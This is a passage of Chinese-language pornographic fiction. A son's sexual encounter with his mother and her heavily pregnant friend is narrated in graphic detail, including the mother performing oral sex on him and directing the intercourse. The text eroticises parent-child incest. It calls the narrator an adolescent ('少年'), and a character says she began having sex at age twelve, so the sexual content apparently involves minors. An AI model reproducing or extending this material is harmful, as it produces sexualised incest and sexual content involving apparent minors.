一些精液正好洒落在母亲赤裸的大腿上,母亲缓缓地从她的私处抽出她的手指,并且在她的臀部上擦拭着,她伸出手去接触我的精液,母亲的淫液和我的精液粘在一起。然后将手指含在嘴里,含笑望着我,淫荡地舔着手指上她的淫液和我的精液。

“妈,跟你一起自慰真的好舒服。”

母亲用她的内裤擦着她那湿淋淋的阴部,手儿捉住我硬梆梆的鸡巴,用粘满她的淫液的内裤擦着上面的精液,笑着说道:

“可惜我们是母子,不能乱伦!要不妈的小穴让你的鸡巴插一插,保证你舒服得不想活。”

我将手放在母亲粘满淫液的阴户,轻轻地抚摸着说:

“妈,我们这样做,算不算乱伦?”

“妈又没有和你性交,怎么可以叫乱伦呢?”

我紧紧抱住母亲,将鸡巴紧紧抵住母亲的臀部,说:

“妈,我好想做爱,妈的小穴给我插一插,行不行?”

“千万不行,妈的小穴任何男人都可以插进去,就是你的不行,你是妈的亲生儿子,妈的全身都可以给你看,给你摸,你可以用手指插入妈的小穴,但是你的鸡巴不能插入妈的阴户,你的鸡巴一插入妈的阴道,我们母子就是乱伦了。”

“可是我真的很想试试插入小穴的滋味。”

“你要是真的想,等一下妈有个姊妹过来,妈叫她把小穴给你试一试。”

正说完,就有人敲门,母亲光着身子去开门。

“咦,是你,快点进来。”

“不好意思,打扰了,咦,怎么大白天光着身子,哦,一定是在偷野汉子。”

“没有啦。”

“没有?哇,你的小阴户都已经汪洋一片了,都流出这么多骚水来了,还说没有。”

“哎呀,不要乱摸嘛,你妹妹怎么没来。”

“我妹妹有事,叫我把这个交给你。”

“真可惜,本来打算介绍个处男给你妹妹尝尝。”

“处男?好啊,我长这么大,还没试过处男呢,就让我代替我妹妹尝尝吧。”那个女人的声音有一点兴奋。

“你,你行吗?”

“没事的,大姐,快带我去吧,我都快等不及了。”

“好吧,跟我来吧。”

不一会,母亲就带着一个女人进来,我一见到那个女人,大吃一惊,原来那个女人是一个大肚婆,那个女人见到我也大吃一惊,说:

“大姐,他不是你的儿子吗?你们……”

“就是因为他是我的儿子,所以才要你跟他操穴,要不是怕乱伦,我的小穴早就给他操了,何必麻烦你。”

母亲对我说:“儿子,妈跟你说的哪个姊妹有事不能来,这是她姐姐,叫敏姨,可惜她是个大肚婆,你要是介意,就等下次吧。”

我开始注意眼前的这个大肚婆,敏姨身材高佻,清纯的模样,白晰的肌肤,穿了一件淡粉红色孕妇装,孕妇装遮掩不住那两个丰满的乳房,可以清楚地看到她那深色的乳晕和乳头,胸口有深深的乳沟,虽然挺着这么大的肚子,身材还是可以看到前凸后翘,性感的嘴唇让我忍不住想要把我的鸡巴插在她嘴里,鸡巴开始硬了起来。

敏姨粉脸泛起红晕,充满欲火的媚眼柔情的望着我说:

“虽然敏姨是个大肚婆,但是我从十二岁就开始作爱,有着丰富的性经验,而且敏姨对自己淫穴夹紧的力量是有信心的,我保证会让你欲死欲仙的,要不你先看看敏姨的女性裸体值不值得你这个处男操。”

敏姨说着,伸手到她背后,把孕妇装的拉链拉到底,拉扯两下,孕妇装掉在地上,她的身上只剩一件开前扣、后背交叉的胸罩,和一大件白色有镶空蕾丝的孕妇内裤,勉强裹住她九个月的大肚子,和她最隐私的地方。

敏姨打开她胸罩的前扣,顺势慢慢的让胸罩无声的滑落,两颗雪白肥大丰满的大乳房像脱开束缚般的迫不及待弹跳出来,在空气中下垂晃动着,圆弧丰满的附着在上半身,敏姨的乳房又大又丰满,随着敏姨的唿吸,两只沈甸甸的大乳房诱惑地微微晃动,白晰晰的,好像两座雪白的山峰一般,乳晕因为怀了身孕的关系,扩散成一圈带点浅咖啡色的肿涨浮岛,褐色的大乳晕中间,是个一寸半大像葡萄一样大的诱人奶头,乳头已经有些发黑,上面生着几个小孔,尽管敏姨的乳房十分饱满,但是是一点也没有下垂,不过变成褐红色的两个大乳头表明了敏姨的身体正处于成熟的阶段。

我做梦也想不到敏姨的乳房如此肥大,看得我双眼发直,张着嘴流着口水,像是要把敏姨这对乳房吞下去似的。

敏姨抓住裹着她浑圆肚腹和股间那一片黝黑潮湿的浓密草丛的白色中腰孕妇内裤两边,慢慢地翻卷着往下拉,将孕妇内裤退到了大腿,由于挺着大肚子,弯不下腰,敏姨向我母亲求助说:

“大腹便便的孕妇总是有点困难,大姐,过来帮我脱下内裤,好吗?”

母亲走到敏姨身后,蹲下来扯下敏姨褪到脚踝、卷成一团的孕妇内裤,将内裤摊了开来,深深闻着有一大片黄色尿渍的湿滑裤裆,润滑液混合尿骚的强烈气味让母亲兴奋的提高了声音:“哇,好浓的味道。”

“没办法,我怀孕两个月,我老公就不敢碰我了,他都不知道我多想要……”

敏姨说着,开心地笑了起来,她那两个硕大的乳房跟着抖来抖去,故意让双乳波浪般地摇着,两团肉球好像要飞出来一样,下体朝我挑逗般地抽送。

母亲站起来,双手托起敏姨的乳房,还钳住了哪粒鲜红夺目的鸡头肉,不住的捏捏捻捻,边把嘴吻着敏姨的脸颊,边说道:

“敏妹,你这乳房那是够大呀,又肥涨,又白腻,而且又是这般软滑,顶上还点缀上这小小的一粒肉丁香儿,真是剥了壳儿的鸡春,比不上呢,真可惜我不是男子,不然非非礼你不可!”

敏姨被母亲柔弄得非常受用,也主动地抚摸揉捏母亲的酥胸说道:

“大姐,你说说自己嘛!你的也是够大呀,你自己看看,白白的浑圆的,好软好有弹性,真可惜我不是男子呀!不然现时这样的摸弄着,你想想,不是连魂遍体,也会飘飘然的吗?”

母亲低头含住了敏姨娇俏可爱的乳头,两边轮流吮吸着,不断地刺激敏姨的情欲,敏姨在母亲的进攻下,显得十分地兴奋,身体如同风中的落叶般无意识地摆动着,肌肉紧绷,肤色已经变成樱红,脑袋疯狂地左右摇动,忍不住发出哼声:

“大姐,想不到女子搓乳房的技术也会那么好,小妹的下体很空虚,好想你儿子那根大鸡巴来奸插我的小浪穴。”

母亲扭着敏姨的肩膊,把她肉体的正面转向我,笑着说道:“那就把你的给我儿子看看,看他有没有兴趣和你这个大肚婆作爱!”

我直楞楞望着裸身站在我面前的这个大肚婆,她是我看过最漂亮、最性感的孕妇,雪白丰满的裸体直挺挺地站在我面前,她的奶子和肚子大的让人不可置信,八个月的大肚子有点苍白,上面有着几条若隐若现的灰色妊娠纹,深陷的肚脐眼,隆凸的耻丘长了一搓黑色的阴毛,全身都显得非常美,我张大了眼,毫不知羞耻地瞪着她最私密的部位直看。

敏姨凝视着我,眨了眨眼,微微发红的脸上出现了一种媚态,眼睛闪耀着透射出兴奋的光芒,嘴唇柔和地分离喘息着,然后卖弄风骚地扭动着她丰满肥胖的臀部,她的双肩扭转使她胸前之双乳为之颤抖不已着,上上下下移动她的手抚摩她的身体,纤细的双手在自己浑圆饱满的大乳房上揉搓抚摸,不断地捏弄着红色乳晕上美丽突起的乳头,爱抚她的纤纤玉指沿着她八个月的大肚子一路抚摸,直至一处隆起而丰满的草丛地带,臀部以慢动作旋转着。

敏姨站在床边,将一脚踩在床沿上,大腿张得很开,两片肥臀分了开来,毫不保留地将股间的神秘三角地带展现出来,双腿间的丰腴肉缝和茂密黑森林让我一览无遗,微弓的腿让巨大的腹部和双乳更凸显出来,深色的阴唇像花瓣一样微微张着,粉红色的屁眼轻轻抽动着,淫荡得如妓女般地要求着:

“你看,敏姨肉穴里面的淫水就好像自来水泊泊的流了出来,都顺腿流下来了,敏姨的小浪穴好痒!是想挨操了,敏姨是一个可以满足你的女人,把你想要做的事都做在敏姨身上,不管你说什么,敏姨都会照作的,放心,敏姨肯定会很骚的,敏姨肯定会比你见过的所有女人还骚,来吧!敏姨的小穴任由你怎么干都行,把你的鸡巴插进敏姨的骚穴……求求你……给敏姨的小浪穴止止痒吧……来嘛……可怜可怜敏姨……敏姨受不了了……用你的大鸡巴来给敏姨止痒……”

看着敏姨这个性感标致的大肚婆晃动充满乳汁的丰乳,摇摆她挺在身上的大肚子,张合着两片雪白的圆润屁股,香汗淋漓的子孙穴时隐时现;我的龟头怒张,不知何时开始淌着透明的粘液。

“好吧,敏姨,来,让我的大鸡巴来满足你那淫荡的骚穴吧,我想操穴都想疯了,快点,敏姨,我等不及了。”我肆无忌惮的握住敏姨的双乳说。

“那我不打搅你们俩快活罗!儿子,你可要乖乖把敏姨侍候得舒舒服服喔,但是你敏姨已经怀孕九个多月,我可不许你像野兽般对她的,你要万缕柔情地、令她舒舒服服的受占领哦。”

“这个当然啦!”我说道:“我也不想做个辣手摧花手嘛!”

“那你们现在就开始吧,我走了。”母亲向我们吐了吐舌头,转身便要走,敏姨突然拉住母亲的手说:

“大姐,不要走,留下来好不好?”

母亲莫名其妙问:“你们俩作爱,拉住我干什么?”

敏姨嚅嚅地说道:“我已经怀孕八个多月,再六个礼拜就要生产了,现在挺着一个大肚子操穴,你儿子又是第一次,等一下操得太厉害了,我怕会伤害到肚子里的小孩子,所以想请你留下来,有大姐在,我比较放心。”

“你叫我看着你们俩作爱,我自己又没得操,等一下我那骚穴痒到出汁了,怎么办?”

“痒到出汁了就让你儿子的鸡巴帮你止痒,自己儿子客气什么,说不定你们母子俩刚才已经……已经……”敏姨说着,吃吃笑了起来。

“你越说越不像话,当我是什么人了,我是他的亲生母亲,这样做即是乱伦,难道我用下面的小穴生他出来,又让他用我生给他的鸡巴操我的小穴,那还成什么体统?”

“好啦,我相信你们刚才没有乱伦,大姐,你就留下来吧,最多等一下你那骚穴痒到出汁了,我负责帮你舔得舒舒服服,舔得你泄了为止,好吗?”

“好吧,大姐今天就当一个护花使者。”

敏姨拉着母亲的手臂,双双来到床头,充满欲火的媚眼柔情的望着我说:

“来,让敏姨先看看你儿子的大鸡巴。”

敏姨说着,伸手把盖在我下身的床单拉开,顿时,我硬邦邦的大鸡巴弹了出来,我的大鸡巴粗壮得不输任何男人,又粗又长,更为特别的是巨大的龟头如小孩拳头般大,泛出暗紫的红光。

敏姨一双媚眼盯着我的大鸡巴看个不停,露出惊讶的表情,赞叹着说:

“哇呀……天啊,大姐,你儿子的鸡巴好大、好粗,要是插入我下面的肉穴,不知何等感受和滋味呢?哦,天啊,大姐,你儿子的鸡巴真是可怕啊!你怎会生出这样的怪物呢?”

敏姨想不到我竟有这样的大鸡巴,真像天降神兵一样,勇不可挡,粗大的鸡巴、饱满的睾丸、浓密的耻毛,龟头青筋暴露……敏姨用手指摸了我的龟头一把,情不自禁双手握住我的大肉柱,入手又烫、又硬,一种难以遏止的兴奋直冲我的龟头,肉棒猛然间暴长几分,兴冲冲地高高翘起,龟头颤巍巍地上下摆动着,已经指到敏姨的嘴边,敏姨惊喜的看着我说:

“哇啊……好厉害……好大的鸡巴……坚硬且灼热……啊……你看敏姨一手还无法握住呢……识货的女人看到这种尺码,都会迫不及待张开腿,想让它进入……好大的鸡巴……插在肉穴里面不知是什么滋味……天啊……”

“说真的,这孩子的鸡巴真的很大,特别是他那个大龟头,是女人梦寐以求的珍品,只要是女人试过之后,都舍不得离开。”母亲的眼睛睁得老大停留在我胯下的那团巨物。

“嗯……大鸡巴……敏姨好怀念它……”敏姨将脸靠近我的下体,一副要把它吞下去的饥渴模样,开始用手轻轻套弄我的鸡巴,上下搓动鸡巴的包皮,敏姨用手套弄的功夫真是没话说,涂着诱人粉红色指甲油的青葱手指更不时搓弄我的龟头上的肉冠,让我兴奋不已。

“啊……好厉害……好大……坚硬且灼热!啊……你的鸡巴大的令人怜爱,别担心啦!敏姨会温柔得爱抚它,敏姨虽然已经半年没有替男人口交过,但是敏姨是老经验了,敏姨会让你舒服的。”

敏姨轻声说着,眼睛一直盯着我几乎戳到自己嘴边的肉棒,闻到有腥味的男人味道,使的成熟女人的血液沸腾起来,不知觉的一阵颤抖,小穴里像有千万只的蚂蚁爬着,敏姨好不容易克制住那种味道所带来的昏眩,双手环抱着我的屁股,缓缓的低下头,柔软的舌头温柔地吻上了我那红得发紫的巨大龟头。

“啊……”

敏姨鲜红的舌尖碰到膨胀到极点的龟头时,我忍不住发出哼声,真的舔鸡巴了,敏姨用舌头舔我的鸡巴了,那一瞬间,极度的快乐冲击差点使我昏厥过去,那种感觉真是妙不可言。

因为是有生以来第一次口交的经验,我忍不住颤抖,痒痒的,又好像要撒尿的微妙感觉,尿道好像刺痛一样,我只觉得自己的龟头就像要爆炸了一样,只能倚靠自己残存的一点灵智勉强控制住在敏姨的嘴里马上发射的冲动。

“敏姨……啊……太好了……太舒服……”

我快乐地呻吟着,感到敏姨湿润的舌头在自己龟头的表面滑动,然后舌尖将包皮撩开,在龟头的棱角处来回地刮动,用舌尖去舔弄我龟头与包皮之间的环沟,竟然不怕肮脏地将包皮的耻垢吃得一干二净,接着从龟头向下游动,然后又回来,舌头灵巧的将我整个鸡巴用唾液润湿,敏姨的舌功真是太棒了,不愧是成熟的已婚少妇!我完全陶醉于敏姨美妙的舔吸中,为敏姨出色的口头服务而震撼,失魂落魄的发出快乐的哼声。

“啊……唔………”

“小色鬼,忍受不了啦?敏姨就给你个舒爽………”

浪荡风骚的敏姨,媚眼一勾,嘴角含笑,说不出的妩媚、性感,在嬉笑中,敏姨张开艳红性感的小嘴,越张越大,朱唇轻启,慢慢地吞噬了我整个巨大的龟头,柔软丰满的嘴唇紧紧地缠绕住我那粗大的肉棒,温暖湿润的感觉笼罩了肉棒的前端,就像是自己的大鸡巴突然插进一个带电的插座一样,强烈的电流突然流遍全身,麻酥酥的感觉直透脑门,令得我不由自主地全身震颤起来。

“哦……太美了……敏姨……”我的声音因为喘息而有些含煳。

敏姨开始慢慢地、温柔地、用心地吮吸着我肿胀的龟头,并逐渐地加大了吮吸的力度,舌头也开始蠕动起来,在不断搏动的棒身上缠绕起来,湿润火热的舌头,在我龟头上舔一圈用力吸允,舌尖顶住马眼转动,不时还发出“啧,啧”的声音,好似在赞美我雄伟的鸡巴,两只手除了偶尔将发丝撩开,不要碍着她目前专注的舌头运动之外,也没有闲着,在我的卵袋上搔着。

我痴迷地看着敏姨性感的嘴唇含住自己的鸡巴,双手顺着敏姨的秀发,将发丝撩开,并轻抚着她的耳垂。

敏姨将舌绕着我环割包皮的棱线转着,然后又转移目标,小嘴移到我的睾丸上吸舔,我忍不住头往后仰,由喉咙发出“喔……”的声音。

然后敏姨舌间顺着鸡巴的中线一路舔上来,嘴唇慢慢地把我粗长的肉棒一点点地吞噬进她的嘴里,两片肉感的红唇一点一点顺着我那肥大坚硬的棒身越爬越低,我的鸡巴蛮长的,敏姨耗费一般工夫,努力的将小嘴张大尽可能的想含入我的鸡巴,仅管她再怎么努力尝试,最多也只含入二分之一左右,我已经感到自己极度充血的龟头顶在了敏姨柔软的喉咙内壁上,虽然敏姨还无法将整根肉棒尽根含入,但她尽力的吞入到她的极限,然后慢慢地把头往后仰,使我粗大的肉棒快要滑出了她的嘴,但是性感的双唇依然含住我那肥大的龟头。

“很好,含得再深一点,把整支吞下去,让它在你的嘴中变的又大又硬,你希望肉棒插进小穴多深,就把肉棒吞多深。”母亲一面在敏姨的阴蒂上挑弄着,一面指导着。

我痴迷地看着敏姨性感的嘴唇含住自己的鸡巴,就在我看得目瞪口呆的时候,敏姨开始移动脑袋,用自己肉感的小嘴来回套弄我那粗大的鸡巴,开始活塞运动,头部上上下下的套着,我感到心脏开始狂野地加速跳动,血液在血管里沸腾,不住地往脑门里冲。

我完全无法控制自己,抓住敏姨的头发,身体弯成弓形,用力地往前刺,把鸡巴深深地刺进敏火热湿润的嘴里,使龟头重重地戳在敏火热的喉咙内壁上。

插入是那么地深入,以至敏姨被我粗大的肉棒顶得直翻白眼,因为吞的太深而作呕起来,急忙吐出我的鸡巴,咳嗽起来。

“不行了,你儿子的鸡巴太大,我含不下。”

“慢慢来,放松你的喉咙,第一次会不习惯,习惯龟头顶在喉咙感觉,以后自然就好了。”母亲指导着说。

“大姐,不如你作一次来看……”

“不要这样,哪有做母亲的舔自己儿子的鸡巴,再说我们是姐弟,不能乱伦呀!”

敏姨在母亲的阴户上摸了一把,得意地笑道:

“还要惺惺作态呢?自己也不看看骚穴快像水洗过的了,你又不是要和你儿子性交,怎么可以叫乱伦呢?大姐,我猜你现在一定很渴望把你儿子可爱的大鸡巴含在嘴里,细细的品味一下,对不对?”

“我不想……”

母亲的话违背了她内心真正的意思,因为现在她的目光正紧紧的注视着我那雄伟的鸡巴,敏姨把我母亲拉了过来,紧靠着她,然后抓着我母亲的一只手,去握住我的鸡巴,母亲一手由敏姨手中接过我的鸡巴,慢慢的套弄着,失神的靠近然后用嘴去亲吻我的龟头,然后母亲的嘴越张越大,渐渐地吞噬了我整个巨大的龟头,并开始用心地吮吸起来,温暖湿润的感觉笼罩了肉棒的前端,令我的感觉也随着鸡巴的不断膨胀而膨胀。

慢慢地,母亲两片充满肉感的红唇一点一点顺着我肥大坚硬的棒身越爬越高,把我的粗长的肉棒一点点地吞噬进她的嘴里,最后,母亲的鼻子碰到我的阴毛,我感到自己极度充血的龟头已经顶在了母亲柔软的喉咙内壁上,我的感到心脏开始狂野地加速跳动,血液在血管里沸腾,不住地往脑门里冲。

我和敏姨难以置信的看着母亲将肉棒整根吞入,然后在我的八寸大鸡巴上下运动,母亲的舌头也在口腔内左右运动,这只有我才感觉得到,每刺进入我的龟头都顶在母亲的喉咙上,哦,母亲的舌功真是太棒了!不愧是成熟的妇女!我完全陶醉于母亲美妙的舔吸中,为母亲出色的口头服务而震撼。

“喔……妈……你吹得……我好美……舌头还会动……”

母亲每一次的套弄都是那么地深入,而且还发出啧啧的吮吸声,饥渴吞噬着我那年轻的肉棒,双颊凹下去吸吮,用嘴唇夹紧移动,鸡巴出入母亲嘴巴的速度越来越快,发出“啾啾……”湿润的淫猥的声音。

敏姨忍不住钻到我胯下,双手轻轻地抚摸我的屁股蛋,开口含住我我的睾丸,小嘴在我的睾丸上吸舔,喔……多棒啊!一次二个我最爱的女人在我跨下抢着为我口交!我忍不住将双腿开的很大,让母亲和敏姨能在我的双腿之中为我口交,而她们也像说好似的有默契的一个人吸吮我的鸡巴、一个人舔着我的睾丸,而我也伸手搓揉着她们的乳房!

母亲和敏姨由于嘴里都含着我的肉棒和睾丸,所以只能发出:“嗯……唔……”的声音,不停地舔弄和大力的吸吮着我的肉棒,看她们的样子,好像要把我的肉棒和睾丸吞下起似的,尤其是母亲的舌尖不断在我的龟头上灵巧地打转,更是让我爽的不得了,双手撑在床上,腰也不断擡上擡下,好让我的肉棒能在母亲的小嘴里抽送!

敏姨呻吟着道:“大姐,我里面痒死了,你吮够了没有,吮够了就快点让我操一操吧,我那里可痒死了……里面好像有上千万的蚂蚁在钻……喔……”

母亲吃吃笑道:“遇上这样滋味的大红肉肠,哪个女人会吮够的?你既然痒的要命,我就让你解馋吧,但不要操得太用力,省得操掉你肚子里的孩子。”

母亲吐了我的肉棒出来,要我继续躺在温暖的床上,扶着敏姨的手和上身,让敏姨跨在我身体两侧。

我躺在床上向上看,敏姨的奶子和肚子都变得更大,覆盖着稀疏阴毛的潮红花瓣微张,母亲扶着敏姨帮她慢慢蹲下,敏姨越靠近我,子孙穴就张得越开,张开的花瓣已经肿胀,因为极度充血而变得艳红,上面都是滑熘的爱液。

母亲笑着说:“乖儿子,准备好了吗?不用担心,一切都交给妈就行了,让妈妈来引领你,绝对叫你舒适无比……”

母亲说着,一只手温柔地抓住我的大鸡巴,抓在手里以后,很快的沿着那滚烫的鸡巴棍儿套动了几下,然后将它引导至敏姨的洞口,让我的龟头在敏姨蜜汁四溢的肉缝周围上下来回摩擦了二、三次,让我的龟头沾了些她洞口的淫水,磨蹭了好一会,我的龟头碰到了一团绵软温热的东西,我知道我的龟头已经抵在敏姨的阴门上了。

当龟头接触到敏姨柔软火热的阴唇时,那种皮肤的触感使我呻吟出来,我感到一阵晕眩,因为我即将进入一个崭新的新天地,那将是我人生新的开始,我知道自己将要成为一个真正的男人,而这成人仪式将由母亲主持,由自己的亲生母亲引导自己的鸡巴奸淫另外一个女人,而且这个女人是一个已经怀孕九个多月的大肚婆,这事只要想想就可以令人翘上好半天,更何况现在已成为事实了呢?我的肉棒涨得比今天的任何时候都大,今天虽然已经有一次射精,但完全没有对我构成任何影响,我只觉得我有足够的精力来满足这个淫荡的大肚婆。

我和敏姨这对男女,一个是久旷饥渴难耐的思春成熟孕妇,一个是欲火炽热狂燃的青春少年处男,俩人性器官相亲接触的结果,就像干柴碰上了烈火,迸出了爱欲的火花了!

“妈……我已经……”我两眉间深深的皱着,一直在忍耐的样子。

“已经忍不住想要插进去是吧?好儿子,插进去吧,妈要欣赏宝贝儿子大干淫荡大肚婆的样子!”母亲认为时间差不多了,于是拉着我的鸡巴向敏姨已经潮湿的小穴而去。

敏姨用她那温暖潮湿的柔软阴唇轻轻摩擦我的龟头顶端,缓缓摇着她的屁股,滑熘的花瓣磨得我龟头难受极了,敏姨望着我,喘着气问我:“你要敏姨操你吗?”

“要,敏姨,操我……操我的大鸡巴……”

“你要敏姨的穴儿吗?”敏姨又问了一次,缓缓摇着她的屁股,滑熘的花瓣磨得我龟头难受极了,她在挑逗我,就像我刚才挑逗她一样。

我知道敏姨想听我哀求的声音:“敏姨,操我,用你湿透的骚穴操我,用你毛绒绒的骚穴操死我……我想死你了……”

敏姨朝下面的我微笑,存心卖弄的她,狠狠地沈下了屁股,原本抵在敏姨阴道口鸡蛋大小般的龟头便直挺挺的滑入她的小穴,敏姨的阴道口比较宽,但小穴里面却没有想像的松弛,反而是那样的紧小,一层厚厚的嫩肉紧挟着我的大龟头,阴道像火炉一样热,用力吸吮挤压着我的大龟头,我突然受到这般猛烈快感的袭击,忍不住擡起头啊了一声,呻吟起来。

敏姨闭上眼睛,把屁股稍稍上提,待阴道渗出了点淫水后,又把屁股慢慢往下坐,随着她一节一节的运动,把我的鸡巴一寸一寸的缓缓吞进小穴里,感觉是湿滑紧暖,和手淫大不相同,敏姨柔软的淫肉紧紧地缠绕住我那粗大的肉棒,两片肉感的阴唇一点一点顺着我那肥大坚硬的棒身越压越低,我感觉到一波一波的快感侵袭而来,感觉滑滑的,暖暖的,好舒服,温暖的阴道肉壁一紧一缩的吸吮着我的肉棒,异常美妙,兴奋得我简直要跳起来。

敏姨的阴道被我粗壮的大龟头给磨擦得酸麻异常,舒服地流出了大量的淫水,同时她也被阵阵酥痒的感觉逼得浪叫了起来:

“啊……好涨……大姐……你儿子的龟头好大……涨得我好舒服……我的小穴……里面好痒……好舒服……大姐,都全部插进去了吗?”

母亲伸下手去摸摸我的肉棒,惊讶得瞪大眼睛说:

“哗……还露出一段在外面呢。”

敏姨听说还有一段未进去,心里更高兴极了,于是屁股更使劲地往我身上压,口中叫道:

“来,继续向前,往里推,对,慢慢地进来……好宝贝……让敏姨好好地……感受你的大鸡巴……慢慢地……对……填塞敏姨那……空虚的小肉穴……对了……慢慢的……整条插进来……宝贝……敏姨希望能……将你男人的武器……全部容纳进去……”

我扭动着屁股用力往前冲刺,却感到龟头受到阻碍,好像处女的处女膜一样,使我一下子停了下来。

“啊……痛……轻点……啊……好孩子……敏姨的小穴……里面太小了,承受不了……轻……轻点嘛……会把敏姨这……小穴穴……给撑破的…”敏姨伏在床上,手紧紧抓住被单。

母亲以过来人的经验指导着我们道:“你没有生过孩子,子宫口不够张开,插不进去就不要勉强,要不然,伤害到肚子里的小孩子就不好了,就这样操吧。”

“你躺着别动,让我来吧﹗”敏姨说着,双手捧着大肚子上下移动着,套住我的阴茎使劲擡臀又压下,屁股开始慢慢上下移动,把阴道里肉棒吞吞吐吐,但是并没有套到底。

我把眼睛望着我和敏姨交合的地方,异性的器官紧密地交媾着,我祇觉得一阵温热包裹着自己,心里有说不出舒服和痛快。

敏姨双手向上抓住床上的栏杆,浪臀起起遭个落,浪穴夹着鸡巴狂乱地套弄着,她的淫水越流越多,千娇百媚淫浪无度,香汗流不停,淫语道不绝。

敏姨是这么地美丽,在下面的我双手轻抚着她的大腿,往上探触凸出的腹部曲线,最后我抓住她两颗硕大浑圆的乳房,指头揉搓着她弹珠般的黑色乳头,一下下挤压着,敏姨颤抖起来,屁股更使劲地往我身上压,唿吸也越来越快。

“嗯……好弟弟……嗯……摸敏姨的奶子……用力的摸……啊……好美……嗯……用力的搓……嗯……敏姨好爽好爽……”

我双手放在敏姨的双乳上,用手掌重重的搓揉着她的奶子,用手指去捏弄奶头,对于一个精壮的男人,一对尖挺的乳房已经足予令我动心,摸一摸都不得了,我这时可以随心所欲地触摸,简直是全身的血液都在沸腾,我浓烈地喘息着,双手慢慢变得不斯文起来,用力地搓捏着两团细嫩的软肉,下面的大鸡巴也配合着她的动作,一上一下的顶着。

敏姨把两手搭在我的肩上,开始大弧度的套动,每一次的套动,她都先缩紧阴户的内壁,以加强阴道的紧度,使它能紧的抓住我的鸡巴,接着像打算把我的鸡巴拉得更长似的,把屁股使力的往上拉擡,直到我的鸡巴只剩龟头的一小部分留在阴道里,然后不理会我的任何反应,又一鼓作气的往我的鸡巴的根部坐去,待我的龟头紧紧的抵住自己的穴心后,敏姨立即又藉着腰部的动作,用穴心把我的龟头紧密地磨了几下,使得我舒服得叫不声来,只觉得三魂七魄,都快让敏姨的夺命宝穴给吸走了……

“老娘夹死你!”

敏姨叫喊着,夹紧双腿,屁股疯狂地上下起伏,由于幅度实在太大,好几次我的鸡巴滑出了她的体外,母亲立刻把它塞回到敏姨的阴道最里面,我的鸡巴上面都是敏姨流出的淫水,滑滑腻腻的……

我擡起头看着我的鸡巴在敏姨的阴道里进出闪亮着光,那是她的淫水沾在我的阴茎上、鸡巴上的龟头,由于在她阴道内壁的紧夹和套弄,已通红的完全暴露在外面,整根鸡巴就如一条红萝菠一样,而敏姨的阴部就像一张嘴巴,在咀嚼我那根如红萝菠般的鸡巴。

敏姨一把抓住我的手,按在自己的乳房上,在乳房上轻轻的抚摸,还伸出舌头去舔我的手指,像是舔棒棒糖似的,好一副淫荡的俏模样,敏姨知道自己的表情很淫荡,但是她控制不了,只想立刻到达高潮!

“唔………好大鸡巴……亲丈夫……敏姨快活死了……哼哼……顶死了……哦……哦……爽死敏姨了……啊……”

敏姨流着泪,梦呓般的呻吟着,拼命扭腰擡臀,使阴户和大鸡巴贴合得更紧密,一阵阵的麻痒,从阴户敏感处,花心的神经传遍全身,不由得她娇唿出声,臀部带着大肚子一下下往后顶,让我深深插入,顾不得医师给她的警告,说她已经怀孕末期,不适合插入太深。

我的大龟头在敏姨花心上的冲刺,大鸡巴在春穴里狠劲的顶着,这些,都使敏姨非常的受用,只见敏姨秀发零乱,粉面红晕地不断左右的扭摆着,娇喘嘘嘘,双手紧抓着床床上的栏杆,夹紧双腿,屁股上下起伏那种似受不了,又娇媚的骚态,令人色欲瓢瓢,魂飞九宵,而我张大着嘴巴,在享受着敏姨的阴道带给我的快感……

敏姨又加快了速度,她的阴核由于激动过度,也整个地突了起来,在我的耻骨上撞击着,每撞击一次,她就发出一阵颤抖,随着节奏的加快,颤抖不再是间断的,而是连续冲击着敏姨的大脑,使她浑身战栗起来,我的眼中只看得到敏姨不断唿号的扭曲的不知是痛苦还是快乐的表情……

“快一点,再重一点……”

敏姨在一阵阵快感的浪潮里只是高声尖叫,不可控制地失控哀鸣,怀胎将临盆的敏姨究竟是不比平时,不过十分钟就气喘吁吁,慢了下来,泪珠也从眼角流出,敏姨气力用尽,停了下来,整个人软绵绵的瘫软下来,趴在我身上,九个月的大肚子,顶着我,敏姨喘着气说:

“不行了,没力了,轮到你来操我了。”

“换个姿势操吧。”

母亲搀扶敏姨擡起屁股仰面躺到床沿,见我迫不及待地就要爬上敏姨身上,母亲在我的屁股上拍了一下,笑着说:

“哼,你啊,不但是个色鬼,还是个急色鬼,来,你站在地上插进来,这样才不会压到敏姨的大肚子。”

我兴奋地站在敏姨大开的两腿之间,下身的巨棒激烈地跳动着,正对着敏姨那个红盈盈的洞穴,一幅迫不及待的模样。

我“嗯嗯”地呻吟起来,大鸡巴抽搐了两下,敏姨的密穴就正对着我面前,肥厚的两片花瓣像是充血而变得紫红,点缀着黝黑的耻毛,肉缝随着屁股的摇摆不时微微张合。她的手正抚弄自己多毛的下体,急促地用力唿吸,潮红的外阴都是淫水,粘粘亮亮的。

敏姨对我喊:“快上啊!唉唷……求求你……”

敏姨的声音有些含煳,因为她正吸吮着自己弹珠般的乳头,而她的双手则忙着按压湿滑的下身,拇指使劲在阴蒂周围划圈圈,另一只手把那两片充血的深红花瓣撑得大开。

我一手握着勃起的大鸡巴,另一只手用手指分开敏姨的阴唇,龟头抵着敏姨那又湿又热的洞穴,小心翼翼地来回摩擦着,但是并没有马上插进去,只是在敏姨洞口不断的磨擦。

“小鬼……你好坏……不要逗敏姨了……快……快插进来吧……把你的鸡巴放进敏姨的穴中……”

“敏姨,你真的要我操你的穴儿吗?”

我又粗又大的鸡巴顶住敏姨穴口百般挑逗,用龟头上下磨擦敏姨穴口突起的阴核挑逗她,就像她刚才挑逗我一样,敏姨无比的淫荡都由眼神中显露了出来:

“喔……要……敏姨真的要……别再逗了……好孩子……好哥哥快把大肉棒插进来,操我吧!操死我!我的小穴要爆炸了,快用大鸡巴通通我的骚穴,受不了!我快死了,救我!救我!操死我!救救我!”

“敏姨现在就是女人骚透了的发情样子,妈看敏姨现在十分需要你这条大鸡巴的安慰,儿子,不要逗她了,把你的大鸡巴狠狠地插进你这个淫荡孕妇的小淫穴里!”

母亲在后面伸手在我的臀部上用力一按,我不由得屁股一挺,肉棒便顺利地滑入了敏姨紧凑的穴口。

“啊……顶死我啦……顶着我的心儿了……哼……大姐……你坏死了……帮着自己的儿子操我……”敏姨粉面红晕,快乐地呻吟着,屁股向上挺动,转动起来,想要追求更大的快感,看来,这小淫妇真是浪得可以。

“快往里推!”母亲不停地催促我:“操她,儿子!狠狠地操这个淫荡大肚婆!把这个小浪货插死!”

